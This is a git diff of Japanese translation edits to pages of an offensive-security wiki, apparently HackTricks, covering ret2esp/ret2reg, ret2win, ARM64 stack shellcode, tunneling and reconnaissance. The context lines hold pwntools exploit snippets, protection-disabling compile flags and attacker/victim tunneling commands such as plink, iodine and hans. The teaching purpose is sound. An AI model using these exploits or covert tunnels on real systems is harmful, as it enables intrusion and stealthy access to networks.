- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- 1Bオーバーフローを悪用して未整理ビン内のチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをワンガジェットアドレスで上書きする別の例
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-- サイズが `0x100` より大きいチャンクのみを割り当てることができます。
-- 未整理ビン攻撃を使用して `global_max_fast` を上書きします(ASLRのため1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります)。
-- グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更していくつかの関数を `system` にポイントさせることができます。
+- サイズ`0x100`より大きなチャンクのみを割り当てることができます。
+- 未整理ビン攻撃を使用して`global_max_fast`を上書きします(ASLRのために1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります)。
+- グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更していくつかの関数を`system`を指すように設定できます。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index acb8b811c..30d5f08ac 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -21,7 +21,7 @@ jmp rsp
### 例
-この技術の例は[https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)で見つけることができ、最終的なエクスプロイトは次のようになります:
+この技術の例は[https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)にあり、最終的なエクスプロイトは次のようになります:
```python
from pwn import *
@@ -41,7 +41,7 @@ pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
-この技術の別の例は[https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`shellcode`にジャンプするために`jmp esp;`が使われます:
+この技術の別の例は[https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させる**ためにガジェットが使用され、その後`shellcode`にジャンプするために`jmp esp;`が使われます:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@@ -78,21 +78,21 @@ target.interactive()
```
## Ret2reg
-同様に、関数がシェルコードが格納されているアドレスを返すことがわかっている場合、**`call eax`** または **`jmp eax`** 命令(**ret2eax** テクニックとして知られる)を利用して、シェルコードを実行する別の方法を提供できます。eaxと同様に、**興味深いアドレスを含む他のレジスタ**も使用できます(**ret2reg**)。
+同様に、関数がシェルコードが格納されているアドレスを返すことがわかっている場合、**`call eax`** または **`jmp eax`** 命令(**ret2eax** テクニックとして知られる)を利用して、シェルコードを実行する別の方法を提供できます。eaxと同様に、**興味深いアドレス**を含む**他のレジスタ**も使用できます(**ret2reg**)。
### 例
-いくつかの例はここにあります:
+いくつかの例はここにあります:
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
-- **`strcpy`** は **`eax`** にシェルコードが格納されているバッファのアドレスを保存し、**`eax`** は上書きされていないため、`ret2eax` を使用することが可能です。
+- **`strcpy`** は **`eax`** にシェルコードが格納されているバッファのアドレスを格納し、**`eax`** は上書きされていないため、`ret2eax` を使用することが可能です。
## ARM64
### Ret2sp
-ARM64 には **SP レジスタにジャンプする** 命令が **ありません**。レジスタに sp を移動させ、そのレジスタにジャンプするガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした:
+ARM64 では、**SP レジスタにジャンプする**命令は**存在しません**。**sp をレジスタに移動し、そのレジスタにジャンプする**ガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
@@ -104,13 +104,13 @@ done
### Ret2reg
-レジストリに興味深いアドレスがある場合、適切な命令を見つけることでそこにジャンプすることが可能です。あなたは次のようなものを使用できます:
+もしレジストリに興味深いアドレスがあれば、適切な命令を見つけることでそこにジャンプすることが可能です。あなたは次のようなものを使用できます:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
-ARM64では、**`x0`**が関数の戻り値を格納します。したがって、x0がユーザーによって制御されるバッファのアドレスを格納し、実行するシェルコードを含む可能性があります。
+ARM64では、**`x0`**が関数の戻り値を格納します。したがって、x0がユーザーによって制御されるバッファのアドレスを格納している可能性があり、そのバッファには実行するシェルコードが含まれています。
-例のコード:
+Example code:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@@ -143,7 +143,7 @@ return 0;
.png)
-バイナリが**PIEなしでコンパイルされている**ため、そのガジェットを使用してそこにジャンプします。パターンを使用すると、**バッファオーバーフローのオフセットは80**であることがわかるので、エクスプロイトは次のようになります:
+バイナリが**PIEなしでコンパイルされている**ため、そのガジェットをジャンプするために使用します。パターンを使用すると、**バッファオーバーフローのオフセットは80である**ことがわかるので、エクスプロイトは次のようになります:
```python
from pwn import *
@@ -159,7 +159,7 @@ p.sendline(payload)
p.interactive()
```
> [!WARNING]
-> もし `fgets` の代わりに **`read`** のようなものが使われていた場合、**戻りアドレスの最後の2バイトだけを上書きすることで** PIEをバイパスすることが可能だったでしょう。完全なアドレスを知る必要はありませんでした。\
+> もし `fgets` の代わりに **`read`** のようなものが使用されていた場合、**戻りアドレスの最後の2バイトだけを上書きすることで** PIEをバイパスすることが可能であり、完全なアドレスを知る必要はありませんでした。\
> `fgets` では、**最後にヌル (0x00) バイトを追加するため**、うまくいきません。
## Protections
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 85676f091..abca067f5 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -4,7 +4,7 @@
## 基本情報
-**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリーです。目標は、与えられたバイナリの脆弱性を悪用して、バイナリ内の特定の未呼び出し関数を実行することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。
+**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリーです。目標は、特定の未呼び出しの関数をバイナリ内で実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。
### Cの例
@@ -27,13 +27,13 @@ vulnerable_function();
return 0;
}
```
-このプログラムをスタック保護なしで、**ASLR** を無効にしてコンパイルするには、次のコマンドを使用できます:
+このプログラムをスタック保護なしで、かつ**ASLR**を無効にしてコンパイルするには、次のコマンドを使用できます:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: プログラムを32ビットバイナリとしてコンパイルします(これはオプションですが、CTFチャレンジでは一般的です)。
- `-fno-stack-protector`: スタックオーバーフローに対する保護を無効にします。
-- `-z execstack`: スタック上のコードの実行を許可します。
+- `-z execstack`: スタック上でのコードの実行を許可します。
- `-no-pie`: 位置独立実行可能ファイルを無効にして、`win`関数のアドレスが変更されないようにします。
- `-o vulnerable`: 出力ファイルの名前を`vulnerable`にします。
@@ -63,14 +63,14 @@ p.interactive()
```sh
objdump -d vulnerable | grep win
```
-このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。
+このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。
-Python スクリプトは、`vulnerable_function` によって処理されると、バッファをオーバーフローさせ、スタック上のリターンアドレスを `win` のアドレスで上書きするように巧妙に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。
+Python スクリプトは、`vulnerable_function` によって処理されると、バッファがオーバーフローし、スタック上のリターンアドレスが `win` のアドレスで上書きされるように慎重に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。
## 保護
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **は無効にするべき** で、アドレスが実行ごとに信頼できるものであるか、関数が格納されるアドレスが常に同じでない場合、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` またはそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。
-- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効にするべきで、侵害された EIP リターンアドレスは決して追跡されません。
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **は無効にするべきです**。そうしないと、実行ごとにアドレスが信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。
+- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。
## その他の例と参考文献
@@ -82,7 +82,7 @@ Python スクリプトは、`vulnerable_function` によって処理されると
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64ビット、ASLRなし
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32ビット、ASLRなし、ダブル小オーバーフロー、最初にスタックをオーバーフローさせ、2回目のオーバーフローのサイズを拡大
+- 32ビット、ASLRなし、ダブルスモールオーバーフロー、最初にスタックをオーバーフローさせ、2回目のオーバーフローのサイズを拡大
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32ビット、relro、カナリアなし、nx、pieなし、`fflush` のアドレスを `win` 関数(ret2win)で上書きするフォーマット文字列
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
@@ -90,7 +90,7 @@ Python スクリプトは、`vulnerable_function` によって処理されると
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き(1バイト)
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
-- プログラムは、入力のサイズを確認するために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win で悪用されるバッファオーバーフローを作成します。
+- プログラムは、入力のサイズを確認するために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64ビット、relro、カナリアなし、nx、pie。`win` 関数(ret2win)を呼び出すための部分上書き
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index bc0152352..fdde1da7e 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -8,7 +8,7 @@ arm64の紹介は以下を参照してください:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## コード
+## Code
```c
#include
#include
@@ -35,7 +35,7 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
### パターンオプション
-この例は[**GEF**](https://github.com/bata24/gef)を使用して作成されました:
+この例は [**GEF**](https://github.com/bata24/gef) を使用して作成されました:
gefでgdbを起動し、パターンを作成して使用します:
```bash
@@ -55,7 +55,7 @@ pattern search $x30
### スタックオフセットオプション
-pcレジスタが格納されているスタックアドレスを取得することから始めます:
+最初に、pcレジスタが格納されているスタックアドレスを取得します:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@@ -113,7 +113,7 @@ p.close()
### Off-by-1
-実際には、これはスタックに保存されたPCでオフバイ-2のようになります。すべてのリターンアドレスを上書きするのではなく、**最後の2バイトのみ**を`0x06c4`で上書きします。
+実際、これはスタックに保存されたPCでオフバイ-2のようになります。すべてのリターンアドレスを上書きするのではなく、**最後の2バイトだけ**を`0x06c4`で上書きします。
```python
from pwn import *
@@ -135,7 +135,7 @@ p.close()
```
.png)
-ARM64の別のオフバイワンの例は[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)で見つけることができ、これは架空の脆弱性における実際のオフバイ-**1**です。
+ARM64の別のオフバイワンの例は、[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)で見つけることができます。これは架空の脆弱性における実際のオフバイ-**ワン**です。
## PIEあり
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 66dd2a0cc..3575edd2b 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -8,7 +8,7 @@ arm64の紹介は以下を参照してください:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
#include
@@ -27,7 +27,7 @@ PIE、カナリア、NXなしでコンパイル:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## No ASLR & No canary - Stack Overflow
+## No ASLR & No canary - Stack Overflow
ASLRを停止するには、次のコマンドを実行します:
```bash
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index ef39cc140..10250f014 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -33,7 +33,7 @@ ssh -Y -C @ #-Y is less secure but faster than -X
```
### Local Port2Port
-SSHサーバーで新しいポートを開く --> 別のポート
+SSHサーバーで新しいポートを開く --> 他のポート
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@@ -83,7 +83,7 @@ ifconfig tun0 up #Activate the server side network interface
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
-クライアント側で新しいルートを設定する
+クライアント側に新しいルートを設定する
```
route add -net 10.0.0.0/16 gw 1.1.1.1
```
@@ -320,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
-これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)。
+これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)、
-このバイナリは被害者のコンピュータで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには:
+このバイナリは被害者のマシンで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには:
```bash
echo y | plink.exe -l -pw [-p ] -R ::
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@@ -354,7 +354,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
-今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** できます。**SocksOverRDP プラグインが有効になっている** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** します。
+今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** できます。**SocksOverRDP プラグインが有効になっている** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** するはずです。
**RDP** 経由で **接続** し、victim マシンに `SocksOverRDP-Server.exe` バイナリをアップロードして実行します:
```
@@ -393,11 +393,11 @@ Proxy 10.0.0.10:8080
Tunnel 2222::443
```
今、例えば被害者の**SSH**サービスをポート443でリッスンするように設定した場合、攻撃者はポート2222を通じて接続できます。\
-また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることもできます。
+また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることも可能です。
## YARP
-Microsoftによって作成されたリバースプロキシです。こちらで見つけることができます: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
+Microsoftによって作成されたリバースプロキシです。ここで見つけることができます: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNSトンネリング
@@ -405,7 +405,7 @@ Microsoftによって作成されたリバースプロキシです。こちら
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
-両方のシステムでルート権限が必要で、DNSクエリを使用してトンネルアダプタを作成し、データをそれらの間でトンネルします。
+両方のシステムでルート権限が必要で、DNSクエリを使用してトンネルアダプタを作成し、データをトンネルします。
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
@@ -455,7 +455,7 @@ Proxychainsは`gethostbyname` libcコールをインターセプトし、TCP DNS
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
-ルート権限が両方のシステムで必要で、ICMPエコーリクエストを使用してトンアダプタを作成し、データをトンネリングします。
+両方のシステムでルート権限が必要で、ICMPエコーリクエストを使用してトンアダプタを作成し、データをトンネリングします。
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c -p P@ssw0rd -v
@@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **は、1つのコマンドラインでソリューションをインターネットに公開するためのツールです。**\
-_Exposition URI は次のようになります:_ **UID.ngrok.io**
+_公開URIは次のようになります:_ **UID.ngrok.io**
### インストール
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 55d054446..af841836f 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -1,4 +1,4 @@
-# 外部リコンメソドロジー
+# 外部リコンメソッド
{{#include ../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
> ある会社に属するすべてのものがスコープ内にあると言われており、その会社が実際に何を所有しているのかを把握したいと思っています。
-このフェーズの目標は、**主要な会社が所有するすべての会社**と、これらの会社の**資産**を取得することです。そのために、以下のことを行います:
+このフェーズの目標は、**主要な会社が所有するすべての会社**を取得し、次にこれらの会社の**資産**を取得することです。そのために、私たちは以下を行います:
1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。
2. 各会社のASN(もしあれば)を見つけます。これにより、各会社が所有するIP範囲がわかります。
@@ -28,7 +28,7 @@
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
[**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\
-**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は、最初のリンクにすでに表示されています。
+**会社の地域に応じて、これらのリンクはさらにデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@@ -51,7 +51,7 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
-あなたは、[http://asnlookup.com/](http://asnlookup.com)を使用して、組織のIP範囲を見つけることができます(無料APIがあります)。\
+あなたは、[http://asnlookup.com/](http://asnlookup.com)を使用して、組織のIP範囲を見つけることができます(無料のAPIがあります)。\
ドメインのIPとASNを見つけるには、[http://ipv4info.com/](http://ipv4info.com)を使用できます。
### **脆弱性の探索**
@@ -62,15 +62,15 @@ bbot -t tesla.com -f subdomain-enum
## ドメイン
-> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時です。
+> スコープ内のすべての企業とその資産を把握したので、スコープ内のドメインを見つける時が来ました。
_以下の提案された技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_
-まず、各企業の**主要ドメイン**を探すべきです。例えば、_Tesla Inc._の主要ドメインは_tesla.com_になります。
+まず、各企業の**主要なドメイン**を探すべきです。たとえば、_Tesla Inc._の主要なドメインは_ tesla.com_になります。
### **逆引きDNS**
-ドメインのすべてのIP範囲を見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行することができます。**被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
+ドメインのIP範囲をすべて見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行することができます。**被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
```bash
dnsrecon -r -n #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -80,9 +80,9 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
この機能を利用するには、管理者が手動でPTRを有効にする必要があります。\
この情報のためにオンラインツールを使用することもできます: [http://ptrarchive.com/](http://ptrarchive.com)
-### **リバースWhois(ループ)**
+### **逆Whois(ループ)**
-**whois**の中には、**組織名**、**住所**、**メール**、電話番号などの多くの興味深い**情報**が含まれています... しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索**を行うと、**会社に関連する他の資産**を見つけることができることです(例えば、同じメールが表示される他のwhoisレジストリ)。\
+**whois**の中には、**組織名**、**住所**、**メール**、電話番号などの多くの興味深い**情報**が含まれています... しかし、さらに興味深いのは、これらのフィールドのいずれかで**逆whois検索を行う**ことで、**会社に関連する他の資産**を見つけることができることです(例えば、同じメールが表示される他のwhoisレジストリ)。\
次のようなオンラインツールを使用できます:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料**
@@ -94,7 +94,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
- [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではありません
[**DomLink** ](https://github.com/vysecurity/DomLink)を使用してこのタスクを自動化できます(whoxy APIキーが必要です)。\
-また、[amass](https://github.com/OWASP/Amass)を使用して自動リバースWhois発見を行うこともできます: `amass intel -d tesla.com -whois`
+また、[amass](https://github.com/OWASP/Amass)を使用して自動逆whois発見を行うこともできます: `amass intel -d tesla.com -whois`
**新しいドメインを見つけるたびに、この技術を使用してさらに多くのドメイン名を発見できることに注意してください。**
@@ -159,7 +159,7 @@ cronジョブを持つことは一般的です。
### **パッシブテイクオーバー**
-人々がクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点で**そのIPアドレスを失い、DNSレコードを削除するのを忘れる**ことが一般的であるようです。したがって、クラウド(Digital Oceanなど)で**VMを生成する**だけで、実際に**いくつかのサブドメインを取得する**ことになります。
+人々がクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点で**そのIPアドレスを失い、DNSレコードを削除するのを忘れる**ことが一般的であるようです。したがって、単にクラウド(Digital Oceanなど)で**VMを生成する**ことで、実際に**いくつかのサブドメインを取得する**ことになります。
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)はそのストーリーを説明し、**DigitalOceanでVMを生成し**、**新しいマシンの** **IPv4**を取得し、**それにポイントするサブドメインレコードをVirustotalで検索する**スクリプトを提案しています。
@@ -179,10 +179,10 @@ IPスペースを所有する組織の名前がわかっているので、その
### **脆弱性の検索**
-いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)を確認してください。ある会社が**ドメインを使用しているが、所有権を失った**可能性があります。十分に安価であれば、それを登録し、会社に知らせてください。
+いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。ある会社が**ドメインを使用しているが、所有権を失った**可能性があります。十分に安価であれば、それを登録し、会社に知らせてください。
-もし、資産発見で既に見つけたものとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが実行されているかに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\
-_Noteは、時々ドメインがクライアントによって制御されていないIP内にホストされているため、スコープに含まれないことがあるので注意してください。_
+もし、資産発見で見つけたものとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが実行されているかに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\
+_ドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。注意が必要です。_
## サブドメイン
@@ -195,7 +195,7 @@ _Noteは、時々ドメインがクライアントによって制御され
### **DNS**
-**DNS**レコードから**サブドメイン**を取得しようとしましょう。また、**ゾーン転送**を試みるべきです(脆弱な場合は報告する必要があります)。
